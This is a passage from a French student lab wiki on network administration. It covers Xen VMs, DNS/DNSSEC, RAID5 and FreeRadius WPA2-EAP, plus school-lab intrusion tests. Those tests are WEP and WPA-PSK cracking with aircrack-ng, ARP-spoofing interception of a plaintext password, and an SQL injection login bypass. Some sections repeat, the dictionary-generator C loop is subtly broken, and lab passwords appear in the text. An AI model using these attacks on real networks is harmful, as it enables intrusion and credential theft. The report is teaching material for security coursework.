En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T13:58:01Z

Lchenu : /* Serveur DNS */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

